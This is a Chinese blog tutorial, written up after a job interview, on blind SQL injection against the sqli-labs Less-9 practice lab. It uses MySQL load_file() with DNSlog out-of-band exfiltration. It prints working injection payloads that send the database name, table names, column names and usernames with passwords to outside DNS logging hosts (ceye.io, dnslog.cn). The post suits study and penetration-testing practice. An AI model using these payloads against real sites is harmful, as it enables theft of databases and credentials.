前段时间参加面试,面试官有问过一个问题,SQL注入中盲注如何快速获取数据。当时没有反应过来,后来百度了才发现,这不就是盲注使用dnslog外带数据么,尘封的记忆一下子就回想起来了,那是一个月黑风高的夜晚……咳咳,扯远了,总之就是没答上来,复盘吧!

环境复现

我们使用sql-labs进行还原盲注的情形,就用Less-9吧

image-20230415195258997

可以看到经过简单的注入点测试,发现页面上的东西不会发生改变

image-20230415195831443

但是当payload为请求时间大概为6.02秒,说明存在注入点

image-20230415200036995

此时我们需要一个dns平台,就使用ceye平台自带的吧 http://ceye.io/

或者是其他dns平台,比如dnslog

这两个这里都会演示一下

image-20230415201655811

dnslog外带条件

要使用dnslog外带首先需要满足几个条件:

1.首先要将secure_file_priv改为‘’

image-20230417111707360

​ 修改步骤:1.使用show variables like ‘%secure%’

​ 2.进入MYSQL文件夹下,打开my.ini文件

​ 3.在my.ini中,添加或修改为secure_file_priv=””

修改后的secure_file_priv

2,只适用于Windows系统

DNS外带实践

payload:?id=1' and sleep(5) order by 3--+

判断字段数,在order by 3时会sleep的,order by 4 时并不会sleep

image-20230415202943458

测试出查询字段数为3

payload:?id=1' and sleep(5) union select 1,2,3--+

image-20230415203036163

测试是否支持dns外带,使用的ceye给的dns地址

payload:/?id=1' and load_file('\\\\nihao.xxxx.ceye.io\\abc') --+

image-20230417113400272

外带成功:

image-20230417113527467

(ps:后面就是用dnslog平台来进行演示了)

获取一个域名先

image-20230417143912645

payload:?id=1' and load_file(concat('\\\\',database(),'.fh0qvo.dnslog.cn\\abc')) --+

外带数据库名称

image-20230417114432264

在dnslog平台得到数据库名称security:

image-20230417114711489

payload:?id=1' and load_file(concat('\\\\',(select concat(table_name) from information_schema.tables where table_schema='security' limit 0,1),'.dxllqa.dnslog.cn\\abc')) --+

爆破表名

image-20230417145128446

通过改变limit后的数字得到所有的表名

limit 0,1:

image-20230417145045963

limit 1,1:

image-20230417145325600

limit 2,1:

image-20230417145434505

……

image-20230417145511479

payload:?id=1' and load_file(concat('\\\\',(select concat(column_name) from information_schema.columns where table_name='users' limit 0,1),'.dxllqa.dnslog.cn\\abc')) --+

爆破字段名

image-20230417145650444

image-20230417145602648

payload:?id=1' and load_file(concat('\\\\',(select concat(username,password) from users limit 0,1),'.dxllqa.dnslog.cn\\abc')) --+

爆破用户名和密码

image-20230417150509236

image-20230417150347739

虽然还是慢了些,但比起纯手工还是好了些,另外还可以结合脚本利用,这里就不过多赘述了,有机会再详细讲述。